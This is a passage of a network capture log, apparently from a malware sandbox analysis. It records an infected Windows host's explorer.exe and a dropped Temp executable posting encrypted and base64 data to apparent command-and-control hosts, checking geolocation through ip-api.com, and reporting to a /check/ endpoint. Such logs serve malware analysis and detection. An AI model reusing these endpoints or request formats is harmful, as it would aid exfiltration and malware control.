Aug 31, 2022 08:34:29.305345058 CEST	13785	IN	Data Raw: 98 02 34 29 01 a9 b2 a0 60 4b a6 69 a0 c1 fb 67 fe e9 5a 74 66 3e 3b 27 e2 f5 57 5c 5e 39 99 50 fe ff ff ff 2f 16 28 fd e1 cd e0 d3 a4 d3 39 be b6 f9 92 14 de d1 c0 0a f4 ef df 91 41 e6 e5 da 36 4e 57 5c cc 10 6a af 01 00 00 10 2c b0 ac 0c 02 2c Data Ascii: 4)`KigZtf>;'W\^9P/(9A6NW\j,,$&Nz>s]bU8][oj4q%UM3n{fzH567W_V#k?S\7\w^`I7E8p\|YBkg:
Aug 31, 2022 08:34:29.305385113 CEST	13786	IN	Data Raw: e9 a7 b8 25 00 27 57 9f 53 55 ee 95 b9 5a cc d1 c2 c9 e3 f3 ec 89 4e a2 71 8d 28 bd 16 f7 a0 f6 b9 73 5d 86 46 db 41 94 8e fa 8e ed a3 fd cc c7 96 7f 42 2c d0 bb 8f d2 0e 08 36 77 6f d6 b7 f2 5d 66 90 4e a5 3c 71 c7 3e 1c 24 9c 8c b9 5d 0e 05 2d Data Ascii: %'WSUZNq(s]FAB,6wo]fN<q>$]-JN6C,Vy0i8-,R 0_v 3@%=]c!-%_\h:__=d2@\3ZhC$v$??___{oL_
Aug 31, 2022 08:34:29.305658102 CEST	13788	IN	Data Raw: 35 5f ed 43 ed fd a0 e9 bc 0e 99 20 02 eb 47 3b 5f c7 bb fe 1c df 5b f1 63 16 df 41 08 22 17 df 76 6b 88 f3 a0 f3 f2 ef e7 20 b8 23 a3 9d 20 09 b1 f2 03 5f 53 f9 c2 cc a0 37 e1 f1 04 5f 63 4e 12 60 df cc 51 5b c2 a0 89 d9 e2 e5 20 1d 98 52 f2 11 Data Ascii: 5_C G;_[cA"vk # _S7_cN`Q[ R= _H}lMUb5^V 3&04.t0ZJx$vpMvb1\5[fbzx2~~5$%;e,a" \|9_9jK;_q$m ^$5_
Aug 31, 2022 08:34:29.305696964 CEST	13789	IN	Data Raw: 30 8b d3 ef c2 f9 d6 6d d8 73 ac 23 33 3e a4 24 10 9a 58 07 b5 b7 72 ac a2 e9 51 f7 20 f3 70 c7 04 66 26 6c 1f 5f a8 ca e6 ec b0 e5 31 85 20 d5 30 5c bf 32 77 8c b7 74 d2 3a 6f 4e 8b e7 0b 6b 52 8b 75 2f c3 e8 a0 69 06 8e d9 94 73 0b 79 8b 0a 1f Data Ascii: 0ms#3>$XrQ pf&l_1 0\2wt:oNkRu/isypAB2Cu%_glwQ%ZI-#ol?f:t{8$SXSj)SW\|j,=bey \9dp8ouowwda,O9
Aug 31, 2022 08:34:29.504398108 CEST	13790	IN	Data Raw: c6 c8 01 a8 ce ff 8c c7 ca 90 bf 45 45 35 00 ff ff ff ff 38 f0 96 77 8f bf 70 9d 9b cd a6 81 42 39 34 4b 87 cd f1 5a 84 42 f5 b0 10 83 02 6b 00 26 00 47 a8 3f 7d 3d 69 30 e5 4e bd b0 8b c5 0f d3 d4 02 58 7c a3 b6 2a 1b c0 a7 ce ab 24 25 47 b8 05 Data Ascii: EE58wpB94KZBk&G?}=i0NX\|$%Gy=ayBv&uK.Kn(Z\|=j&.i?R\|(er(Ua(If@dg#kKUPGb5pBV)!&7%y)'Bd"

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49767	196.200.111.5	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:37.480055094 CEST	17897	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://guudony.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 196 Host: linislominyt11.at
Aug 31, 2022 08:34:37.480103970 CEST	17898	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bf 8a 14 62 cc d6 4f 96 91 f5 51 a2 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOQ32$&s^}IB&FzIr.60$!be+T&:f?fa\CyziXzG
Aug 31, 2022 08:34:47.333623886 CEST	18669	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49759	172.67.137.109	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49768	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\4962.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:38.661267042 CEST	17899	OUT	GET /json/ HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: ip-api.com
Aug 31, 2022 08:34:38.700198889 CEST	17900	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 293 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 47 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 67 22 2c 22 63 69 74 79 22 3a 22 48 75 6e 65 6e 62 65 72 67 22 2c 22 7a 69 70 22 3a 22 36 33 33 33 22 2c 22 6c 61 74 22 3a 34 37 2e 31 37 33 2c 22 6c 6f 6e 22 3a 38 2e 34 32 30 34 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 45 54 20 41 66 72 69 63 61 20 28 50 74 79 29 20 4c 54 44 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZG","regionName":"Zug","city":"Hunenberg","zip":"6333","lat":47.173,"lon":8.4204,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"DET Africa (Pty) LTD","as":"AS212238 Datacamp Limited","query":"102.129.143.57"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49770	194.87.94.240	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:44.291956902 CEST	17905	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vyvajdnb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 313 Host: ilabonjsnmwiy.top
Aug 31, 2022 08:34:44.291966915 CEST	17906	OUT	Data Raw: a4 60 86 7e fd 44 a2 28 28 c5 4a f6 e2 60 de 41 c0 d9 aa 6f 83 8e 90 a0 17 b2 02 f9 70 ac 63 4a c2 48 41 f5 0d bd eb 51 a3 50 7b e9 3a fe f6 9e 82 73 db c2 b0 91 d5 bb 20 52 b6 76 51 bc 20 1d d4 39 e2 12 d3 66 97 02 1f d3 27 f2 fe 75 fd 07 13 39 Data Ascii: `~D((J`AopcJHAQP{:s RvQ 9f'u9'C)j&24g]7.qx!6\|%:@3<,eO@n9Kow'"OOoFvDi2]+zh C8,YBVkIj\|i]+boV_HhR7aM8
Aug 31, 2022 08:34:44.363970995 CEST	17907	IN	HTTP/1.1 404 Not Found Date: Wed, 31 Aug 2022 06:34:44 GMT Server: Apache/2.4.25 (Debian) Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 32 37 34 66 65 0d 0a 2f 00 00 00 8f 3b 42 36 46 2c cf 62 b4 69 4c 7a ea be ee 06 5f 4c ee 8e a8 e1 af 06 13 a0 cc 71 e9 ea 11 2f 96 e3 88 cb 32 b7 9a 95 e1 3c f7 13 c7 f8 58 00 ca 74 02 00 1c ac 2b da 00 0b 07 00 09 00 34 00 00 01 f3 fe ca dd 67 3f 34 2e f5 cf f5 ba 61 0e 05 00 1d 16 4d 7c 20 61 57 61 c0 da 9e d4 46 d0 67 16 ee 46 91 4c 26 da a1 63 04 87 e6 7e fb fb 89 38 d4 b9 37 da fd c7 0a 43 a9 2f e9 de 6c b0 1e 21 02 a2 25 46 8d f4 3e 8b 18 74 ac f4 4c f0 bf b6 f5 b1 e7 89 6c 5b 92 6e 78 21 70 d3 c4 5b 94 2b eb 50 2a cf e5 e3 ec dd 29 b5 77 ab f3 c5 a2 40 60 11 9a 64 84 3b 8c 4d 71 0a 20 f3 f8 da 2c 48 a6 2a 8c 8e 49 92 5a c9 61 05 d4 53 93 84 d0 e9 0e 5e 74 3a 67 fc f1 c6 ba cc f7 b5 00 93 cb 7f 35 e6 78 0e 78 97 77 5d 12 a8 6a 14 06 86 62 65 97 02 6b 94 b1 47 1b e8 d0 1d 60 12 67 ed 37 42 8b 7d 3e 0a 51 39 aa 21 e5 28 71 f9 67 0c ea e1 74 15 ec de ea 45 75 8f 54 37 6b 0e 43 84 19 90 f3 d6 3f fa d3 2e 9f d6 77 15 cc c0 6b 80 fa c6 83 9b fb 27 90 16 22 d1 7b d3 ef 46 19 3d 4d 01 20 f5 7f 17 22 91 f6 fe 21 3a 2a f5 5e d5 48 dd 29 f0 b4 38 5c e8 12 15 36 1c ce db ec 65 51 62 44 d8 42 a7 21 be 30 5e 3d 10 32 e9 62 51 30 24 92 aa 6f 23 c6 48 a3 ca 05 20 ec c9 d4 c5 fd 15 a0 8f 4f ca 54 bc f7 54 20 ea 6e b7 4f e3 d4 97 b2 2d d1 c6 cb ad de e1 3a 6f 8a 03 85 9b 18 89 f9 c9 a3 bf 5c 32 b4 1e 20 97 94 56 c4 34 02 be f9 06 1e f8 49 82 7f 3f 07 57 c5 3d f1 88 90 1b d0 d5 98 ea fe ed be df c2 57 be 45 63 e5 e0 21 92 41 ec 09 c0 a1 74 88 c3 52 c1 95 bc 88 57 8d 1f 7a ed 75 cf d0 16 89 f0 83 80 50 46 5f ac 44 76 84 1c a5 cb 13 bc c5 98 e7 77 e0 c4 53 2d 4e 42 40 3d 23 e3 d1 24 8c dd e3 07 aa f7 8f cf 3c 5e 4f 69 12 c0 6d 14 b2 29 d8 6a 41 50 a8 43 8e cb 84 df 15 15 6e 45 32 05 3c 0e 2e 41 a9 84 da 72 ef 42 c2 f4 a9 44 1d 53 de b9 27 76 65 e1 8e 40 a5 76 bc 99 09 65 e0 dd 36 3c ee 83 0d 7b 82 91 b4 ea 90 ec b8 2e 16 5b e6 c1 6f f0 5f b9 a6 d6 3c ef 23 42 dc 09 4b 7f 27 f2 82 39 3a 38 58 0a 79 e5 3e 64 89 7b 7f 24 b3 6d 39 af e2 2d 2c 57 1c 6b 42 5b 73 96 8c 7a 8e 9b 99 d4 1f 56 ce b5 c3 02 ab c8 f3 3f 8a 09 8b ae d7 63 38 10 f2 81 a0 44 2e 87 2b 22 13 de 21 83 96 71 0b c5 3b 1e 82 50 a3 5d da 2f 80 84 83 af f4 38 de 3e 33 44 66 e8 14 f6 92 aa ab 2c c5 c7 79 84 e8 ec 25 29 54 61 54 ad 02 35 b7 85 76 62 9f 51 9c 99 3b 3f 4e 4d d3 c5 b4 fc 5d fa 1d 01 b6 d8 f2 ae 4c 72 f2 a0 dc b6 23 88 e0 eb 91 37 c9 88 2e 6c 24 e7 12 88 6c d0 cb 43 7f 0f 04 45 f6 40 a5 a7 02 14 83 dc 2a f9 9e 4a fd 04 90 31 82 8a 2b a3 fb f7 92 64 8d 6f 76 f7 33 cc a6 1b e2 cf 93 c1 0f 38 a7 32 f1 0f 7e c5 cd 78 85 fd 5a 61 35 a1 ff 47 4d 68 e2 0a ae 09 1e 8d b7 8f 7d 41 2e 49 48 09 7f c4 e2 b1 87 25 19 dd f8 8f bd c3 5d 5d 17 fd b1 1d 96 aa b4 13 ab 9f 91 0b 23 ae 74 c8 5d 79 92 3f 55 85 1c 04 0f 8a de 76 71 e1 5b 42 b0 b3 1f da da c0 4d 98 95 6a 26 00 a8 a5 1d eb b9 81 cf 34 d1 dc dc f9 fd 2b 5f cf 78 08 56 17 9c 7e cd 0e 53 a6 e8 36 81 52 cd 58 ac 2a a2 36 fb fa 26 1a 45 c0 61 0b 1d 00 ff cb 95 5b ba c7 25 70 0d 6a 71 6f 4c 81 41 b8 a0 db e4 6a af b0 d6 f7 bc fc 15 c3 a0 f3 17 a8 d8 d6 21 59 67 87 7f 8b a2 75 f6 32 2e 86 3e 6f 81 40 d2 ad 53 38 39 06 93 eb 9d 66 4c a6 c5 4f 4b aa 8c 51 e0 86 a1 9d e1 cc c8 8a f0 fd db 90 43 e1 1a 0e a9 8e c1 c7 ff 3f f8 2d 59 b6 15 d6 1a 71 d6 b1 1c ab 55 3b f8 7c b4 e3 d2 e5 4a 0f d6 c6 66 6a 47 35 97 ec f5 d2 28 c0 f6 a3 68 db 7e 50 26 7e ed b0 e9 a3 d5 29 0d 0b 44 5f ae e5 9f 18 84 e7 54 54 6b 37 fe 1e f8 d4 11 82 16 f0 5b b8 c3 38 10 fe f8 b1 dd 87 de 5c 52 73 22 3f f4 4c ea c9 3f 06 9d 45 a8 c0 36 62 e9 27 Data Ascii: 274fe/;B6F,biLz_Lq/2<Xt+4g?4.aM\| aWaFgFL&c~87C/l!%F>tLl[nx!p[+P)w@`d;Mq ,HIZaS^t:g5xxw]jbekG`g7B}>Q9!(qgtEuT7kC?.wk'"{F=M "!:^H)8\6eQbDB!0^=2bQ0$o#H OTT nO-:o\2 V4I?W=WEc!AtRWzuPF_DvwS-NB@=#$<^Oim)jAPCnE2<.ArBDS've@ve6<{.[o_<#BK'9:8Xy>d{$m9-,WkB[szV?c8D.+"!q;P]/8>3Df,y%)TaT5vbQ;?NM]Lr#7.l$lCE@J1+dov382~xZa5GMh}A.IH%]]#t]y?Uvq[BMj&4+_xV~S6RX*6&Ea[%pjqoLAj!Ygu2.>o@S89fLOKQC?-YqU;\|JfjG5(h~P&~)D_TTk7[8\Rs"?L?E6b'
Aug 31, 2022 08:34:44.364013910 CEST	17909	IN	Data Raw: 7c e6 9a e7 e7 76 cd 75 c8 cf 78 6a 63 36 b5 d4 0c a7 4a 7a 53 93 0c d1 4f d6 9b 92 34 8f ff 92 32 1c de c6 49 55 72 dc 1f 05 2e 1e bd 20 35 3c d5 a3 56 8d 64 cb de 88 59 b4 dc d2 e7 ac 64 a9 b1 85 94 f2 06 7d 05 dd 39 64 3e 8f d7 b3 53 cb d5 98 Data Ascii: \|vuxjc6JzSO42IUr. 5<VdYd}9d>Sf'i0W,XClBa^T8^L_k"}Y]g<&;U<.6Mr =KY9>I/$4QX>gPM.a_~Z+5gpR'
Aug 31, 2022 08:34:44.364152908 CEST	17910	IN	Data Raw: fc 34 76 76 85 40 5e 4a a5 61 e9 eb 62 6f cc 16 31 4a 59 30 97 5e 4a fe d5 34 f0 2c 47 94 f0 64 b2 f2 b0 0c 72 9a 9e 95 05 81 3c 0e 04 12 86 1a c4 01 45 28 fc 33 1d 24 ca 07 db e7 9b 09 1e 49 cd d4 a4 23 86 36 24 e4 f1 01 f1 24 8a 24 da a1 1d f7 Data Ascii: 4vv@^Jabo1JY0^J4,Gdr<E(3$I#6$$$4BC.2RobfkKyho9DmvjZ[Fx,8E%M]~,j?<UX*<yT5?r8of3Z'ayW+.quen
Aug 31, 2022 08:34:44.364176035 CEST	17911	IN	Data Raw: af 29 56 2f b0 5e de 7f bc 02 55 ad b9 6a a5 b1 a5 bc 6a 5d 77 a7 e1 bd 87 38 a4 0c aa 21 f7 19 dc 10 7d f6 13 da d5 e3 0c 89 c0 b2 73 c4 ef c0 81 16 ef 25 6a 9f 7b 27 a2 31 f3 ba f1 69 b4 4b aa db 77 43 56 d5 be da ae 15 dc 29 c6 5c b9 76 12 bf Data Ascii: )V/^Ujj]w8!}s%j{'1iKwCV)\v4V-jeO~65RQrby]:3!pW^0o\y:"CW-\qpDU{K8/P`UKAA39>I}CcxL3J}n^rQIj3qu
Aug 31, 2022 08:34:44.364197969 CEST	17913	IN	Data Raw: f6 a1 d1 6c 59 fd be 23 e4 3e c2 93 06 be 3e b3 4f 71 85 e0 01 ef 64 96 f1 79 aa 28 ac ef 67 d4 f8 5c 9b 1d 61 b7 33 d6 bf 1c 45 20 06 76 b8 a2 d3 5b 25 4a 59 b0 71 e8 8b a2 1f 14 5b d6 a9 16 83 13 b0 e4 55 b2 6c a6 88 b7 8a bc b9 72 0a 83 3a 22 Data Ascii: lY#>>Oqdy(g\a3E v[%JYq[Ulr:"c8BX<.114'P]*by/rSPX5:PMIUErV8<(wDB>ecj]<xqo5P/e4moa<5
Aug 31, 2022 08:34:44.364279985 CEST	17914	IN	Data Raw: c3 88 21 d8 04 ce fd f5 38 02 be d2 24 21 7e 84 d8 dc f5 22 f5 eb ce 11 e3 28 15 32 10 35 13 d9 06 25 8f 76 ca cc 03 48 45 92 7d ab 1e 46 24 0e c1 b5 b2 a3 b7 a3 69 ae 79 33 df 51 a3 a0 39 23 20 93 42 52 a7 aa cf 1d 06 67 c6 41 10 86 e1 55 88 ec Data Ascii: !8$!~"(25%vHE}F$iy3Q9# BRgAUG)p>(R-A_cPFmHM&Pm\|r%k\=2<&?J,B *6@u,I(,,0'V}uBM7!sCt
Aug 31, 2022 08:34:44.364298105 CEST	17915	IN	Data Raw: ad 9f 92 24 97 35 26 84 f3 a4 2e cf ef 5b 0d 92 f4 14 85 9e c8 c8 31 c3 0a c0 e0 56 75 41 81 2b 95 5c cb 19 7e 2d bb 28 10 9d 1e eb 7a de 04 6c d4 4c 3e 5e 61 98 d5 d1 c2 fd ea d7 b7 03 67 fe 1a 22 d7 89 72 85 bd e4 dd a2 c2 b5 7c 52 c1 ab 1b 18 Data Ascii: $5&.[1VuA+\~-(zlL>^ag"r\|RR=f [3eWok7DuGIK!ur3<S\VQ\A5/Po@[,f&cyOzm3&U9K2a5a
Aug 31, 2022 08:34:44.364321947 CEST	17917	IN	Data Raw: 74 eb 3c 28 0c 80 d3 9a f8 64 3b a1 7b 4d 11 00 9c 48 a5 f1 95 53 2f 33 a1 6c 0a 07 4f 8a a4 6b 72 04 8e 52 79 4c 08 0f 07 af 27 3b 7e 62 89 32 ad 66 61 53 6c d2 2a 1a 80 c3 dc a7 56 53 78 b3 d9 12 f8 c0 83 c6 4a e4 bd 11 31 e3 44 4a 56 79 99 81 Data Ascii: t<(d;{MHS/3lOkrRyL';~b2faSlVSxJ1DJVy )O)kG]_eDYrcq#'ih!=vgz)V,e4;79bPr8_5<_%w?BSNfHZbAjw/1
Aug 31, 2022 08:34:44.364367008 CEST	17918	IN	Data Raw: dd 76 b2 7f a2 3e 77 fd 85 ac 74 e6 b9 8a 76 b7 a5 36 40 94 29 ea 64 fd 7b 70 c4 d8 58 d6 c7 d7 c3 04 a7 f6 02 5c e3 a4 a6 92 03 31 2c 6b 08 8d a4 4b 25 30 fc b8 e7 8d 08 41 55 9e bc 7e af 7d e4 4e a9 9a b6 42 88 34 4d 97 41 6f a0 85 49 8d 59 83 Data Ascii: v>wtv6@)d{pX\1,kK%0AU~}NB4MAoIYL,V;^Ax$`Bm`TFvNeGzOb?Mj`DSPvYFJ%I=mJ$w!hQ4f7vaxPmd*\|yGltJ@G(;qP<
Aug 31, 2022 08:34:44.364384890 CEST	17920	IN	Data Raw: ba 2c f9 f7 4c 1c bb 06 a6 03 eb d9 07 e4 43 fd ed 44 f4 33 7f c8 a4 05 09 9d 1a 8b 58 ec a0 5b 7f f7 80 8e 0f 85 69 93 f9 17 da 11 3f 4f 90 49 9a 62 38 36 89 31 e1 f9 b1 15 92 98 75 d9 b0 a4 96 f0 9c 4a 2a 49 d7 50 1b 35 84 e8 56 22 13 a6 16 ee Data Ascii: ,LCD3X[i?OIb861uJ*IP5V"tDA'Yf>[bRSWX:YB"inFRD;QcAb#{<qK/?zmL5ki/Ced~JzncU-d2-,y${%}O`U
Aug 31, 2022 08:34:44.420201063 CEST	17921	IN	Data Raw: 1f a4 a8 ff b0 2c 95 62 da 61 52 7f 45 bc 85 0d d6 73 67 a3 d1 2e c7 00 cb 1c d3 59 02 ca 70 69 99 63 0f 02 21 dd 66 91 ef 94 d5 89 f3 50 fd f6 d0 f8 c9 13 26 b8 6f 5d a4 2c b1 3e 91 ff ba ea 80 28 5c e3 60 22 12 eb 30 e8 66 6a fa be e1 3e 12 0d Data Ascii: ,baREsg.Ypic!fP&o],>(\`"0fj>6<\\3$E:t>y<mtNe`\|%baO.7loABzZwkT"%dasrKm*km?B(#J/!mvL(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49771	45.136.151.102	80	C:\Users\user\AppData\Local\Temp\4962.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:44.706672907 CEST	18074	OUT	GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: www.hhiuew33.com
Aug 31, 2022 08:34:44.860644102 CEST	18074	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 06:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 36 30 0d 0a 52 54 56 4e 61 6d 4d 79 54 30 52 52 63 30 6c 75 53 6d 68 69 62 56 4a 6d 59 7a 4e 53 65 55 6c 71 62 32 6c 4f 62 45 35 73 5a 47 74 72 4e 45 6c 6c 65 55 70 36 59 56 64 52 61 55 39 71 52 54 42 4f 56 45 46 33 54 6c 52 4e 63 30 6c 75 55 6e 42 69 56 31 56 70 54 32 70 46 4d 6b 35 71 62 6a 41 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 60RTVNamMyT0RRc0luSmhibVJmYzNSeUlqb2lObE5sZGtrNElleUp6YVdRaU9qRTBOVEF3TlRNc0luUnBiV1VpT2pFMk5qbjA90
Aug 31, 2022 08:34:45.213696003 CEST	18075	OUT	POST /check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 508 Host: www.hhiuew33.com
Aug 31, 2022 08:34:45.213777065 CEST	18076	OUT	Data Raw: 53 57 70 76 5a 30 6c 71 51 57 6c 4d 51 30 46 70 59 6c 64 47 61 6b 6c 71 62 32 64 4a 61 6d 74 36 54 6a 4a 5a 4e 45 35 55 56 58 64 4e 65 6b 30 78 54 6b 52 52 4d 6c 6c 36 55 6d 31 4e 52 46 70 72 57 57 31 52 65 6c 6c 58 52 6d 68 4e 61 6c 4a 74 54 6d Data Ascii: SWpvZ0lqQWlMQ0FpYldGaklqb2dJamt6TjJZNE5UVXdNek0xTkRRMll6Um1NRFprWW1RellXRmhNalJtTmpJd0lpd2dJbTltWlc1ZmNHeGhZMlVpT2lBaUlpd2dJbkJoZVVsdVptOGlPaUFpSWl3Z0luSmhkR2x2SWpvZ0lpSXNJQ0oxYVdRaU9pQWlNVEExTVNJc0lDSjFibDl3ZDJRaU9pQWlJaXdnSW5abGNuTnBiMjRpT2l
Aug 31, 2022 08:34:45.409450054 CEST	18078	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 Aug 2022 06:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.3.23 Data Raw: 33 31 0d 0a 7b 22 73 74 61 74 75 73 22 3a 32 2c 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 22 2c 22 61 63 63 6f 75 6e 74 73 22 3a 22 30 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 31{"status":2,"ip":"102.129.143.57","accounts":"0"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49772	194.87.94.240	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:45.236668110 CEST	18076	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fhcvttjp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 237 Host: ilabonjsnmwiy.top
Aug 31, 2022 08:34:45.238349915 CEST	18077	OUT	Data Raw: a4 60 86 7e fd 44 a2 28 28 c5 4a f6 e2 60 de 41 c0 d9 aa 6f 83 8e 90 a0 17 b2 02 f9 70 ac 63 4a c2 48 41 f5 0d bd eb 51 a3 50 7b e9 3a fe f6 9e 82 73 db c2 b0 91 d5 bb 20 52 b6 76 51 bc 20 1d d4 39 e2 12 d0 66 97 02 1f d3 26 f2 fe 75 fe 64 35 2e Data Ascii: `~D((J`AopcJHAQP{:s RvQ 9f&ud5.vh)z'N1P9hNVd @n4t]^Ad:b@XJl /irL{pdRVT<f+B)J/Ng<57Se9S&m:a\.C`vK
Aug 31, 2022 08:34:45.307658911 CEST	18077	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49773	194.87.94.240	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:45.712769032 CEST	18123	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ngwdajhq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: ilabonjsnmwiy.top
Aug 31, 2022 08:34:45.714095116 CEST	18124	OUT	Data Raw: a4 60 86 7e fd 44 a2 28 28 c5 4a f6 e2 60 de 41 c0 d9 aa 6f 83 8e 90 a0 17 b2 02 f9 70 ac 63 4a c2 48 41 f5 0d bd eb 51 a3 50 7b e9 3a fe f6 9e 82 73 db c2 b0 91 d5 bb 20 52 b6 76 51 bc 20 1d d4 39 e2 12 d0 66 96 02 1f d3 26 f2 fe 75 bb 44 25 09 Data Ascii: `~D((J`AopcJHAQP{:s RvQ 9f&uD%APH.eD;(>FVV[2&#HF"\Uhdz c>CGD25CDh*Xg(_>kdjX$k
Aug 31, 2022 08:34:45.786132097 CEST	18124	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
